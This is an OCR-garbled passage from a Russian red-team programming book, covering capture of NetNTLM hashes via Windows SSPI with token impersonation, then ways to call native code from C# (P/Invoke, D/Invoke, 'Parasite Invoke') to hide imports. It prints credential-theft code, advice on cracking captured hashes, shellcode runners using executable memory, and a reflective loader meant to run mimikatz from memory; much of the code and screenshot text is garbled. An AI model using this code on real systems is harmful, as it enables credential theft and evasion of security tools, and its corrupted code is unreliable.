uint32 t nt_resp_off = *reinterpret_cast<const uint32_t*>(&message[24] );
uintlб t domain_len = *reinterpret_cast<const uintlб_t*>(&message[28] );
uint32_t domain_off = *reinterpret_cast<const uint32_t*>(&message[32]);
std::vector<BYTE> lm_resp(lm_resp_len);
std: :vector<BYTE> nt_resp(nt_resp_len);
std::vector<BYTE> domain(domain_len);
std::copy(message.begin() + lm_resp_off, message.begin() + lm_resp_off + lm_resp_len,
lm_resp.begin() );
std: :copy(message.begin() + nt_resp_off, message.begin() + nt_resp_off + nt_resp_len,
nt_resp.begin() );
std: :copy(message.begin() + domain_off, message.begin() + domain off + domain_len,
domain.begin() );
result.Challenge = challenge;
result.UsernameWithoutDomain = SplitDomain(result.UserName);
if (nt_resp_len == 24) (
result.Domain = ConvertHex(byteArrayToString(domain) );
result.Respl = byteArrayToString(lm_resp);
result.Resp2 = byteArrayToString(nt_resp);
else if (nt_resp_len > 24) (
result.Domain = ConvertHex(byteArrayToString(domain));
result.Respl = byteArrayToString(nt_resp) .suЬstr(O, 32);
result.Resp2 = byteArrayToString(nt_resp) .suЬstr(32);
В ответе по конкретным офсетам можно прочитать длину и смещение всей необ
ходимой для нас информации. Остается лишь подготовить переменные, которые
будут содержать поток байтов, а затем конвертировать этот поток в привычные для
нас символы.
Часть
216
11.
Системное программирование для хакеров
std: :wstring byteArrayT0Str1ng(const std: :vector<BYTE>& byteArray) {
std::wstring result;
result.reserve(byteArray.size() * 2);
for (ВУТЕ Ь : byteArray)
wchar_t buf[З];
wsprintf(buf, 1"%02Х", Ь);
result.append(buf);
return result;
И получаем на руки NetNТLM-xeш, который можно смело брутить! А уж если по
лучили NetNТLM первой версии, то можно для увеличения скорости брута разло
жить
на два DЕS-ключика,
советует
netmux (https://twitter.com/netmux/status/
1117805320246636544 ?s=46&t=TBm_wPJq3Yjq WeNBaywНXg). Либо можете вос
пользоваться онлайновыми сервисами вроде crack.sh (https://crack.sh/crackingntlmvl-w-ess-ssp) или shuck.sh (https://shuck.sh/get-shucking.php ).
Итак, время демонстрации! При запуске инструмента без каких-либо аргументов
получаем NetNТLM-xeш пользователя (рис.
С; \Users \Адм инистр атор. DCBl \Desktop \ VS \ NtlmThief \NtlmThief\x 64 \Debug >.
11.4 ).
\NtlmTh1ef. ехе •
:,lдминистратор • : CRПJGE • EBB088 21Dl ПED6D73C279 B7A36777888 D0ClC 0044 3SC28D EBB08821D1EE ED6D73C27987A36 777BBBD0C 1C00443SC28D • 11223 3,!45,667788
<. \Usеrs\Админис трат ор . DC01 \Desktop\ VS\fJtlmThief\NtlmThief \ хб4 \Debug >
Рис.
11.4.
Получение NetNTLM-xeшa пользователя
В начале главы я рассказывал про аргумент -pid. Через него указывается
PID
про
цесса. Используя магию перевоплощения, можно получить NetNТLM-xeш пользо
вателя
-
владельца этого процесса. Все сводится к стандартной манипуляции
с токенами. Получаем токен этого чужого процесса и нацепляем на себя.
DWORD ApplyProcessToken(DWORD pid) {
ImpersonateSelf(SecurityDelegation);
НANDLE procHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORМATION, FALSE, pid);
НANDLE hSystemTokenНandle;
OpenProcessToken(procHandle,
TOКEN_DUPLICATE,
&hSystemTokenНandle);
НANDLE newTokenНandle;
DuplicateTokenEx(hSystemTokenНandle,
TokenPrimary,
TOКEN_ALL_ACCESS,
NULL, SecurityDelegation,
&newTokenНandle);
ImpersonateLoggedOnUser(newTokenНandle);
return GetLastError();
А затем в той же последовательности вызываем SSРI-функции. Вновь переходим
к демо. Находим
щим хеш (рис.
PlD
11.5)!
процесса, запущенного от лица другого пользователя, и та
Глава
11.
Достаем учетные данные
Windows,
не трогая
V1~
Took
~rs
~r~h i,) Options
s
Seмoes
j8
NetWOlk
LSASS
Help
F1nd handl~ or Dlls ,..r' Systtm 1nform11tюn
PID
Гi" SefVlceHub.Threade ...
16
Pnvite Ь...
User11tJme
186,ббМВ
СRINGЕ\д.Амнн и стр11то1
112,ОЗМВ
СRINGЕ\Администрато1
59,39М8
CRINGE\Aд,,lиttиcтpiTOJ
З8,34МВ
СRINGЕ\Адwинистрато1
184,81 мв
9S,59MB
CRINGE\Aдuини~тot
~ceHub.St'tt,ngs...
г
■"' vcpkgяv.ec:e
[i"1 Wd)Vi-Нon.ol!
'8 msedgtwdм~2 . o:e
wi m~g~1Ni>2...
);а m~g~bv,~2...
~ ms~9~Ьv11!w2...
~ m~gtwIOVIN-2...
б6J2
-
289,93
78,33
мв
CRINGE\AN,,tини~тoi
СRINGЕ\Адм инмст~то~
мв
CRINGE\Aдl,.tинмcrp.пOJ
21,.ц; мв
СRINGЕ\д.Аминистр,,1 01
272 kB
12-4,08 мв
СRINGЕ\Адu инистрато1
CRINGE\AN,lнниcтp4ТOJ
7'6)
З~б6МВ
7616
30,64 мв
СRINGЕ\д.Ам иннстратОJ
1,79МВ
СRINGЕ\А,,,м инмст~то~
17, 16 мв
~52 мв
СRI NGЕ\Админкстрат01
7752
4608
7452
б,38 МВ
СRINGЕ\Админмстр•то~
СRINGЕ\ддм мн1КТр.п01
СRI NGЕ\Адм мнж:тр<Jтоt
а ms~9-eЬv1~2...
В360
20,2МВ
СR1NGЕ\Адм инисrрат01
.i mSI09N"t:bv1tw2...
8372
16,88 мв
CRINGE\A,.,,,,lмнж:тp•ТOJ
VsDebu9Conюle.e(e
iil conhost.v.e
11.5.
О,
1/0lol.tl ...
5672
Ci" Sбvкбiub.Host.An.,.
Рис.
CPU
1560
lil<IJ
4336
6732
7304
7568
6568
ГГ ~к~ub.TбtWin ...
7"" ЖVl<d-iub.Oillt<1Wм ...
v [il vshost.exe
8
6996
5704
Г.- ЖV!ceHub.lndo:ing ...
~1ceHub.lntdl1co...
v
~ Х
(i"' ~ceHub.Host.net ...
Г
■'
V
!О
СЬk
[Т ~кeHub.VSOdou ...
v
217
7508
144
0,98
9136
l.,S4 MB CRJNGE\•d•m
5,29 мв CRJNG d,m
мв
СRINGЕ\ддм мнм сrрато1
S,14MB
СRJNGЕ\АдимнМ<Тр<Jтоr
Получение чужого NetNTLM-xeшa
Заключение
Встроенные в систему
Windows
механизмы очень удобны для разработчика, но
некоторые из них могут без проблем предоставить выигрыш и атакующему, в чем
мы, собственно, сегодня и убедились .
ГЛАВА
12
Ищем способы обращения
к нативному коду из С#
Одним из немногих минусов С# считается некоторая сложность при вызове мето
WinAPI. Многие возможности уже перекочевали в сборки, но до сих пор при
ходится часто сталкиваться с задачей вызова функций Win32 напрямую. В таком
дов
случае используются Plnvoke, Dlnvoke и их производные. В этой главе я покажу,
как работают эти методы, и мы научимся вызывать функции WinAPI из управляе
мого кода.
Разработчики инструментов из категории offensive постепенно отказываются от
зубодробительных «плюсов» и геройского ассемблера и переходят к более прият
ным, добрым, отзывчивым и миловидным языкам. Конечно, опрометчиво называть
С# легким. В нем есть и сложные концепции - попробуй человеку с улицы понят
ным языком объяснить отличия IEnumeraЫe от IEnumerator, IComparer от
IComparaЫe, рассказать о плюсах TPL и PLINQ, растолковать рефлексию, а уж про
маршалинr или внутреннее устройство ЛТ-компилятора я даже не заикаюсь (впро
чем, последний относится к платформе CLR).
При разработке программ для
Windows сложно не использовать WinAPI. Конечно,
многие методы уже успешно портированы в отдельные сборки .NET. Например,
вместо GetUserName (1 достаточно обращаться вот к такой функции:
System.Security.Principal.Windowsidentity.GetCurrent() .Name
Впрочем, если вы захотите копнуть чуть глубже, то придете к выводу, что намного
лучше (и стабильнее) будет обращаться напрямую к методу
WinAPI,
чем доверять
свой код непонятным, давно неподдерживаемым опенсорсным сборкам от симпатя
ги индуса с GitHub.
Просто так WinAPI не вызвать. И приходится искать ухищрения, чтобы научить
управляемый код обращаться к нативным методам. Давайте посмотрим, что это за
методы.
Platform lnvoke
Platform Invoke ( он же Static Invoke) WinAPI из С#. Он отлично описан
единственный «легальный» вызов методов
в
официальной
документации
Microsoft
Глава
12. Ищем способы обращения к нативному коду из С#
219
(https:/Лearn.microsoft.com/en-us/archive/msdn-magazine/2003/july/net-column
calling-win32-dlls-in-csharp-with-p-invoke).
Использовать его просто
-
все завязано на директиве Dllimport. Сначала в нашем
коде на С# идет объявление целевой функции для вызова, указание
DLL,
из кото
рой эту функцию брать, а после можно смело обращаться к ней из управляемого
кода.
Например, так может выглядеть стандартный шелл-код-раннер через
memcpy (), CreateThread()
И
VirtualAlloc (),
WaitForSingleObject ():
[Dlllmport ("kernel32. dll"))
static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType,
uint flProtect);
puЫic
[Dlllmport ("kernel32. dll") )
puЬlic static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadld);
(Dlllmport ("kernel32. dll"))
static extern Ulnt32 WaitForSingleObject(IntPtr
puЬlic
puЬlic
hНandle,
Ulnt32
dwМilliseconds);
static void StartShellcode(byte() shellcode)
{
uint threadld;
IntPtr alloc = VirtualAlloc (IntPtr. Zero, shellcode. Length, (uint) (AllocationType. Cornmi t
AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
if (alloc == IntPtr.Zero) {
return;
Marshal.Copy(shellcode, О, alloc, shellcode.Length);
IntPtr threadНandle = CreateThread(IntPtr.Zero, О, alloc, IntPtr.Zero,
WaitForSingleObject(threadНandle, 0xFFFFFFFF);
В
данном
случае создаются
полноценные прототипы
О,
out threadld);
используемых нативных
функций. Отдельно обращу внимание на указание целевой библиотеки, из которой
они вызываются. Такой механизм очень похож на вызов этих же самых функций из
кода на С++.
При таком способе вызова описанные разработчиком функции добавляются в спе
циальный раздел импорта, который потом резолвится, и появляются адреса, по
которым передается поток управления для вызова метода.
Не стоит путать этот раздел со стандартным разделом импортов. Нативные функ
ции, объявленные через
с
метаданными
в РЕ-файл (рис.
Platform Invoke,
СLR-сборки.
12.l).
Этот
оказываются в таблице ImplMap, в разделе
самый
раздел
автоматически
добавляется
Часть
220
11.
Системное программирование для хакеров
Ох1СООООО2
ОхОООООООЕ
Ох100
Oxf
ОхВ/
2
V1rtudlAll0<.
ОхКОООООЗ
OJCOOOOOD16
Ох102
Ох11
OxDB
?
( redtPlhrPd(I
Ох1СООООО4
OxOOOOODH
Ох140
Ох13
Ox6U
3
W.11tlor'>1nglP<JbJP<t
Рис.
12.1.
Как выглядит таблица
lmplMap
К счастью, сигнатуры (это строка Dllimport плюс прототип функции) самостоятель
но писать не нужно. Достаточно заглянуть на один из сайтов с готовыми вариан
тами:
□
pinvoke.net (http://www.pinvoke.net/) -
самый популярный вариант, который,
увы, иногда не открывается;
□
pinvoke.dev (https://www.pinvoke.dev/) -
□
p-invoke.net (https://p-invoke.net) -
тьфу-тьфу, пока работает;
совсем выключился.
Как вы видите, в наше суровое время полагаться только на веб-страницы может
быть ошибочно, поэтому качайте генератор РЛnvоkе-сигнатур
microsoft/CsWin32),
написанный в
Microsoft.
(https://github.com/
Он уж никуда не пропадет ... скорее
всего.
Что ж, любая простота и абстракция при разработке инструментов атаки работает
как в плюс (упрощает жизнь редтимерам), так и в минус (усложняет жизнь редти
мерам). Ведь распарсить таблицу ImplMap и понять, какие методы
ются, не составит труда. Это можно сделать даже на
WinAPI использу
PowerShell (рис. 12.2).
$assemЫy = "C:\File.exe"
$stream = [System.IO.File]: :OpenRead($assemЬly)
$peReader = [System.Reflection.PortaЫeExecutaЫe.PEReader]: :new($stream,
[System.Reflection.PortaЫeExecutaЫe.PEStreamOptions]: :LeaveOpen -bor
[System.Reflection.PortaЫeExe cutaЫe.PEStreamOptions]: :PrefetchМetadata)
$metadataReader =
[System.Reflect ion.Metadata.PEReaderExtensions]: :GetMetadataReader($peReader)
$assemЬlyDefinition = $metadataReader.GetAssemЬlyDefinition()
foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodНandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader . GetMethodDefinition($methodНandler)
$import = $methodDef.Getimport()
if ($import.Module.IsNil) {
continue
$dllimportFuncName = $metadataReader.GetString($import.Name)
$dllimportParameters = $import.Attributes.ToString()
$dllimportPath =
$metadataReader.GetString($metadataReader.GetModuleReference($import.Module) .Name)
Write-Host "$dllimportPath, $dllimportParameters'n$dllimportFuncName ' n"
Глава
PS
»
12. Ищем
С :\>
~~
))
,,»
способы обращения к нативному коду из С#
221
• r..,~ ,• 1-- ( s. ';"" ":"••.?г -~ l f"" l,.., s~e ~,] .--: ~. -1'- ('d-.:er . TypeOe,f 1n1 t1ons ) {
;~.... ~;; : -~ .. ~,:_., ,.1.•- . Get TypeOef ini t ion ( s· :-, ::E"~.,~ji .,.,. )
. :- .-. ,,., •
i,.,,:.-' . GetHethods ()) {
,· ,.,'
•• , · ( S-···
~ ....., ·,; _;,, • d ~':?; 1~ •• . GetМethodDef ini t ion ( !,11t-~ r :.idl'"'d" ,::: l e,r' )
$"'1<-' ~ •
s~, ... с>,· . Getl11port ()
;;-;
( 5 ~,-_. t .Нodule.IsNil) {
))
»
»
»
»
»
)-:.:.:;:.. ~ -1· ,tL.:--,1j.:-r . GetString( S 1:-np(),...~ .Ni1rte)
! "': • • . Attributes . ToString()
•-,,,,,.
!-,. • , •,,• , ,. , с .. • . GetString ( s~,, а,,: aRe Jce- . GetlloduleReference( S: •; _,.,
S.j;,:•r_-•;,••· ~·.::"ё;:-~r·~r,.:i•;1~,,,~ ....... ~ •S~l~I""r•:r~;-.:r-~••(;!'WE' г
- ,_ ·,.,-,t-
))
~,.
Write•HOSt
))
))
.НOdule), №1811 )
))
» }
kernel32 . dll, ExactSpelling, SetLastError, CallingConventionwinApi
OpenProcess
kernel32, dl 1, •ExactSpel ling, SetLas tError, Call ingConventionWinApi
Virtua!AllocEx
kernel32.dll, CallingConventionWinApi
wr! teProcessMet00ry
kernel32,dll, CallingConvent!onwinApi
С
reateRfraoteThrec1d
Рис.
12.2. Пример
вывода
Импорты можно rлянуrь и через более специализированное ПО, такое как
(bttps://www.mono-project.com/docs/tools+libraries/tools/monodis/)
многим dnSpy (bttps://gitbub.com/dnSpyEx/dnSpy).
monodies
или известный
Поэтому люди стали придумывать иные методы вызова неуправляемого кода из С# ,
чтобы как минимум скрыть импорты.
Dynamic lnvoke
Этот механизм использует делегаты, чтобы получить доступ к методам из неуправ
ляемого кода. Делегат, если упростить, можно считать указателем на функцию .
В С# не как в С++
-
здесь имя функции не равно адресу функции . Чтобы, напри
мер, передать функцию как колбэк, потребуется использовать делегат. Ниже при
мер простейшего делегата.
us ing System;
us ing System.Di agnost i cs ;
us ing System.Runtirne .InteropServices;
narnespace Ternpl ate
puЫic
delegate int Operat ion(int
cl ass Prog rarn
s t at ic void Mai n()
var
var
а=
Ь =
2;
3;
х,
i nt
у) ;
Часть
222
Operation ор = Add;
Console.WriteLine(op(a,
ор = Multiply;
Console.WriteLine(op(a,
11. Системное программирование для хакеров
Ь)
); //
Вызывается
Add => 5
Ь)
); //
Вызывается
Multiply => 6
static int Add(int х, int у) => х + у;
static int Multiply(int х, int у) => х *
у;
Как видите, идет объявление делегата: возвращаемое значение, принимаемые аргу
менты, все-все данные. Затем можно инициализировать этот делегат конкретным
методом и, обратившись к делегату, вызвать функцию.
Так
вот,
Dynamic
можно
Invoke
считать
сишарпным
GetModuleHandle ()
и
GetProcAddress (). Этот механизм позволяет получить базовый адрес библиотеки, про
бежаться по экспортам, обнаружить адрес необходимой функции и инициализиро
вать этим адресом конкретный делегат через GetDelegateForFunctionPointer (). Как след
ствие, в таблице импортов скомпилированной .NЕТ-сборки не будет никаких по
дозрительных записей (в отличие от того, как было при
Самый
известный
Dlnvoke/tree/main).
РоС
-
творение
P/Invoke).
TheWover (https://github.comffheWover/
В нем есть несколько основных методов:
□ GetLibraryAddress () -
эта функция сначала проверяет, не загружена ли уже целе
вая библиотека (метод из которой мы хотим вызвать) в память. Для этого она
вызывает функцию GetLoadedМoduleAddress (). Если либа не загружена, то загружа
ется
с
помощью
LoadМoduleFromDisk 1). Если
загружена
дергается
функция
GetExportAddress 1) для поиска адреса функции в модуле;
□ GetLoadedМoduleAddress () -
использует Process. GetCurrentProcess () . Modules, чтобы оп
ределить, загружена ли уже библиотека в процесс;
□ LoadМoduleFromDisk 1) -
□ GetExportAddress () -
загружает
DLL в
память процесса с помощью LdrLoadDll 1);
парсит таблицу экспортов конкретного модуля, отталкиваясь
от его базового адреса, с целью найти функции. Функция может идентифициро
ваться по строковому имени или хешу (механизм
□ GetPeЬLdrModuleEntry 1) -
API Hashing);
обнаруживает базовый адрес загрузки модуля, анализи
руя РЕВ;
□ GetSyscallStuЬ () -
эта функция используется для маппинга в память процесса
модуля ntdll. ctll, причем с извлечением конкретной функции. Служит для ис
полнения прямых сисколов.
Проект также предоставляет несколько методов, которые позволяют загружать
библиотеку не с диска, а из памяти:
□ MapModuleToMemory 1) -
механизм
Memory Module.
Реализует ручной маппинг бай
тов библиотеки в динамически выделенную память. Может принимать либо
массив байтов, либо имя файла на диске;
Глава
□
12.
Ищем способы обращения к нативному коду из С#
MapModuleToMemoryAddress () -
223
позволяет вручную маппить модуль, который уже
находится в памяти (массив байтов) по определенному адресу;
□ OverloadМodule () -
использует
Module Overloading
для отображения модуля в па
мять на место, где смапплена другая либа. Перезаписывается случайная
DLL,
которая лежит в с: \Windows \System32 и имеет цифровую подпись. Этот метод может
принимать либо массив байтов, либо имя файла на диске.
Вот отличный пример, где используются некоторые из этих методов.
using System;
namespace SpTestcase
class Program
static void Main(string[] args)
{
String testDet.ail
= @"
#=================>
# Hello there!
# I find things dynamically; base
# addresses and function pointers.
#=================>
";
Console.WriteLine(testDetail);
Console.WriteLine("[?] Resolve Ntdll base from the РЕВ .. ");
IntPtr hNtdll = SharpSploit.Execution.Dynamicinvoke.Generic.
GetPeЫdrModuleEntry ("ntdll. dll") ;
Console.WriteLine("[>] Ntdll base address : " + string.Format("{0:X}",
hNtdll. Toint64 (11 + "\n" 1;
DLL (\"ntdll.dll\"), resolve а function
walking the export taЬle in-memory .. ");
Console.WriteLine("[+] Search Ьу name --> NtCommitComplete");
IntPtr pNtCommitComplete = SharpSploit.Execution.Dynamicinvoke.Generic.
GetLibraryAddress("ntdll.dll", "NtCommitComplete", true);
Console.WriteLine("[>] pNtCommitComplete : "+ string.Format("{0:X)",
pNtCommitComplete.Toint64()) + "\n");
Console.WriteLine("[?] Specifying the name of
а
Ьу
Console.WriteLine("[+] Search Ьу ordinal --> Ох260 (NtSetSystemTime)"I;
IntPtr pNtSetSystemTime = SharpSploit.Execution.Dynamicinvoke.Generic.
GetLibraryAddress("ntdll.dll", Ох260, true);
Console.WriteLine("[>] pNtSetSystemTime : " + string.Format("{0:X)",
pNtSetSystemTime.Toint64()) + "\n");
Console.WriteLine("[+] Search
Ьу
keyed hash --> 138F2374EC295F225BD918F7D8058316
(RtlAdjustPrivilege)");
Часть
224
11.
Системное программирование для хакеров
Console.WriteLine("[>] Hash: НМАСМD5(Кеу) .ComputeHash(FunctionName)");
String fHash = SharpSploit.Execution.Dynamiclnvoke.Generic.
GetAPIНash("RtlAdjustPrivilege",
ОхааЬЫ122);
IntPtr pRtlAdjustPrivilege = SharpSploit.Execution.Dynamiclnvoke.Generic.
GetLibraryAddress("ntdll.dll", fHash, ОхааЬЫ122);
: "+ string.Fonnat("{O:X}",
pRtlAdjustPrivilege
Console.WriteLine("[>]
pRtlAdjustPrivilege.Tolnt64()) + "\n");
Console.WriteLine("[?] Specifying the base address of DLL in memory ({0:Х}), resolve
function Ьу walking its export taЬle ... ", hNtdll.Toint64());
Console.WriteLine("[+] Search Ьу name --> NtCornmitComplete");
IntPtr pNtConпnitComplete2 = SharpSploit.Execution.Dynamiclnvoke.Generic.
GetExportAddress(hNtdll, "NtCormnitComplete");
Console.WriteLine("[>] pNtConпnitComplete : "+ string.Fonnat("{O:X}",
pNtCornmitComplete2. Tolnt64 ()) + "\n");
Console.WriteLine("[*] Pausing execution .. ");
Console.ReadLine();
Проект обрел широкую популярность и используется во многих инструментах:
обход AMSI (https://github.com/med0x2e/NoAmci), запись в реестр (https://
github.com/NVISOsecurity/DlnvisiЫeRegistry), какое-то совместное чудо
и
snowcrasl,
В конце концов, этот проект можно использовать и как
Reflective
РЕ
код для запуска РЕ из памяти.
using System;
using System.IO;
using System.IO.Compression;
namespace DinvokePE
puЫic
bohops
(https://github.com/Ьohops/DynamicDotNet).
class Program
static byte[] Compress(byte[] data)
(
var output = new MemoryStream();
using (var dStream = new DeflateStream(output, CompressionLevel.Optimal))
dStream.Write(data, О, data.Length);
return output.ToArray();
static byte [) Decompress (byte [) data)
(
var input = new MemoryStream(data);
Loader.
Вот
Глава
12.
Ищем способы обращения к нативному коду из С#
225
var output = new MemoryStream();
using (var dStream = new DeflateStream(input, CompressionMode.Decompress))
dStream.CopyТo(output);
return output.ToArray();
puЬlic
static void Main(string[] args)
(
/*
var rawBytes = File.ReadAllBytes(@"C:\U:,F>rs\snovvcrash\Desktop\mimikatz.exe");
var compressed = Compress(rawBytes);
var compressedВ64 = Convert.ToBase64String(compressed);
Console.WriteLine(compressedВ64);
*/
var compressed = Convert.FromBase64String('"');
var rawBytes = Decompress(compressed);
var map = Dinvoke.ManualMap.Map.MapModuleToMemory(rawBytes);
Dinvoke.Dynamicinvoke.Generic.CallMappedPEModule(map.PEINFO, map.ModuleBase);
Console.ReadLine();
Помимо
этих
инструментов,
для
автоматического
добавления
исходного
кода
в проект есть
CsWhispers (https://github.com/rasta-mouse/CsWhispers). Этот новый
исходник позволит делать вызовы Dlnvoke и использовать Indirect-cиcкoлы.
Впрочем, необязательно тащить с собой огромную либу. Парсить ExportTaЫe мож
но и встроенными средствами С#. Этот код был приведен исследователем
xpn
(https://clck.ru/3NqMu2):
using System;
using System.Diagnostics;
using System. Rш1time. InteropServices;
namespace DynamicAPIInvoke
/ / / <stшmar\''
/// "А Qui~k History Lesson"
/// https://hlog.xpnsec.com/weird-ways-to-execute-dotnet/
/// </summary>
puЫic class Program
[UrunanagedFunctionPointer(CallingConvention.Winapi)]
delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[UrunanagedFunctionPointer(CallingConvention.Winapi)]
delegate IntPtr ShellcodeDelegate();
Часть
226
11.
Системное программирование для хакеров
static IntPtr GetExportAddress(IntPtr baseAddr, string name)
var dosHeader = Marshal.PtrToStructure<IМAGE_DOS_HEADER>(baseAddr);
var peHeader = Marshal.PtrToStructure<IМAGE_OPTIONAL_HEADER64>(baseAddr +
dosHeader.e- lfanew + 4 + Marshal.SizeOf<IМAGE- FILE- HEADER>() );
var exportHeader = Marshal.PtrToStructure<IМAGE_EXPORT_DIRECTORY>(baseAddr +
(int)peHeader.ExportTaЬle.VirtualAddress);
for (int i =
О;
i <
exportHeader.NшnЬerOfNames;
i++)
var nameAddr = Marshal.Readint32(baseAddr + (int)exportHeader.AddressOfNames +
(i *
411;
var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr);
if (m == "VirtualAlloc")
var exportAddr = Marshal.Readint32(baseAddr +
(int)exportHeader.AddressOfFunctions + (i * 4));
return baseAddr + (int)exportAddr;
return IntPtr.Zero;
puЬlic
static void Main()
{
// msfvenom
-р
windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!'
EXITFUNC=thread -f csharp
byte[] shellcode = new byte[] ( );
// Ищем экспорт-адрес из уже загруженной в память библиотеки kernel32.dll
IntPtr virtualAllocAddr = IntPtr.Zero;
foreach (ProcessModule module in Process.GetCurrentProcess() .Modules)
if (module .ModuleName. ToLower () == "kernel32. dll")
virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc");
// Инициализируем делегат найденным адресом
var VirtualAlloc =
Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr);
// Выделяем область nамяти shellcode.Length байт в адресном пространстве текущего
процесса инжектора (ОхЗООО = MEM_COMMIT I MEM_RESERVE, Ох40 = PAGE_EXECUTE_READWRITE)
var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, ОхЗООО, Ох40);
// Записываем шелл-код в вьщеленную область
Marshal.Copy(shellcode, О, execMem, shellcode.Length);
// Обращаемся к шелл-коду как к функции и запускаем его без создания нового потока
var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem);
shellcodeCall();
[StructLayout(LayoutKind.Sequential)]
struct IМAGE DOS HEADER
//
http://www.pinvoke.net/default.aspx/Structures/IМAGE
DOS HEADER.html
Глава
12.
Ищем способы обращения к нативному коду из С#
227
[StructLayout(LayoutKind.Sequential, Pack; 1)]
struct IМAGE- OPTIONAL- HEADER64
//
http://www.pinvoke.net/default.aspx/Structures/IМAGE_OPTI0NA1_HEADER64.html
[StructLayout(LayoutKind.Sequential)]
struct IМAGE DATA DIRECTORY
//
http://www.pinvoke.net/default.aspx/Structures/IМAGE_DATA_DIRECTORY.html
[StructLayout(LayoutKind.Sequential)]
struct IМAGE FILE НEADER
//
http://www.pinvoke.net/default.aspx/Structures/IМAGE_FILE_HEADER.html
[StructLayout(LayoutKind.Sequential)]
struct IМAGE- EXPORT- DIRECTORY
//
http://www.pinvoke.net/default.aspx/Structures/IМAGE_EXPORT_DIRECTORY.html
Parasite lnvoke
«Лень
-
двигатель прогресса»,
-
писал Андрей Вознесенский в стихотворении
«Лень». Эта строка отлично описывает мое состояние недели полторы назад. Было
желание творить, но не хотелось вновь поднимать заметки по этим бесконечным
ABCD-Invoke,
параллельно вспоминая, как адаптировать конкретный метод под
мой инструмент. Нужно было что-то очень простое, как
скрытное (без записей в импорте), чем
тод
-
Dlnvoke.
Plnvoke,
но не менее
Поэтому я создал еще один ме
Parasite Invoke.
Я решил взглянуть на проблему с другой стороны:
- Platfonn Invoke -
механизм легитимный?
-Конечно.
-
Его другие разработчики используют?
Естественно!
А мы можем использовать их сигнатуры?
Как вы понимаете, был придуман метод, который может злоупотреблять Рlnvоkе
сигнатурами чужих сборок, прозрачно вызывая через них нужный метод
WinAPI.
Рассмотрим механизм подробнее. При запуске РоС (https://github.com/МzНmO/
Parasite-Invoke)
принимает лишь обязательный параметр- path (рис.
. \Parasiteinvoke.exe --path
С:\
-r
12.3) .
Часть
228
11.
Системное программирование для хакеров
Рис.12.3. Пример вывода информации о сигнатурах сборок с диска С
Эта команда позволяет перечислить все Рlnvоkе-методы в сборках, лежащих на
диске с.
-r -
рекурсивный перебор. Есть возможность поиска сигнатуры и кон
кретного метода, например VirtualAlloc (рис.
.\Parasiteinvoke.exe --path
С:\
12.4)
-r --method VirtualAlloc
Теперь полученную сигнатуру можно вставить в нашу С#-программу, и метод
WinAPI будет успешно вызван через нее.
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Template
class Program
static void Main()
asm = AssemЬly.LoadFrom(@"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
WPF\UIAutomationClientsideProviders.dll");
Туре t = asm.GetType("MS.Win32.UnsafeNativeMethods", true);
var methodlnfo = t.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPuЬlic 1
System.Reflection.BindingFlags.Static);
IntPtr result = (System.IntPtr)methodinfo.Invoke(null, new object[] ( IntPtr.Zero,
new UlntPtr(lO), ОхЗООО, Ох40 } );
Marshal.Copy(new byte[] ( 1, 2, 3 ), О, result, 3);
Console.WriteLine(result);
AssemЬly
Глава
12. Ищем
способы обращения к нативному коду из С#
229
return;
Работает это следующим образом:
1.
В наше приложение загружается легитимная сборка, можно даже с цифровой
подписью .
2.
Происходит подготовка всех необходимых для получения метода данных. В част
ности,
мы должны
верно указать
все флаги
(какие
модификаторы
у функции , статическая она или динамическая). Все сигнатуры
доступа
Plnvoke
в
99%
случаев располагаются в классах в виде статических методов.
3.
Наконец, подготовив данные о методе, его можно вызвать через methodinfo.
Invoke () .
Это обеспечивает некоторое проксирование
темы вызов метода
WinAPI
Platform lnvoke,
т. к. со стороны сис
выполняется от лица легитимной сборки. И вроде бы
ничего страшного не происходит!
Рис .
12.4.
Обнаруженные сигнатуры
VirtualAlloc
в сборках на диске С
Часть
230
11.
Системное программирование для хакеров
Dynamic Plnvoke
Что будет, если соединить
Platfonn Invoke!
Dynamic Invoke
и
Platfonn Invoke?
Получится
Представьте, что вы можете определять сигнатуру
Dynamic
Plnvoke в ран
тайме. У нас есть возможность использовать разные динамические типы и объекты
.NET,
чтобы определить необходимые методы и свойства для сигнатуры
Plnvoke
во
время выполнения, что позволит вызвать ее. Метод основан на использовании
(https://learn.microsoft.com/en-us/dotnet/api/system.reflection.
DefinePinvokeMethod ()
emit.typebuilder.definepinvokemethod?view=net-6.0) для динамического определе
ния сигнатуры. Например, в эту функцию можно отдать прототип, и она его без
проблем прожует.
[Dllimport ("kernel32. dll") ]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);
Получается, достаточно заранее подготовить все методы, которые должны быть
вызваны, динамически их определить, создать динамическую сборку в дефолтном
AppDomain,
что и приведет к вызову неуправляемого кода.
Предлагаю рассмотреть на примере. Пусть есть следующий код с
Plnvoke
знакомый нам шелл-код-sеlf-инжектор ):
using System;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
class Program
static void Main(string[] args)
byte[] x64shellcode
0xfc, Ох48, . . . 1;
=
new byte[294]
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, О, (IntPtr) (funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadid = О;
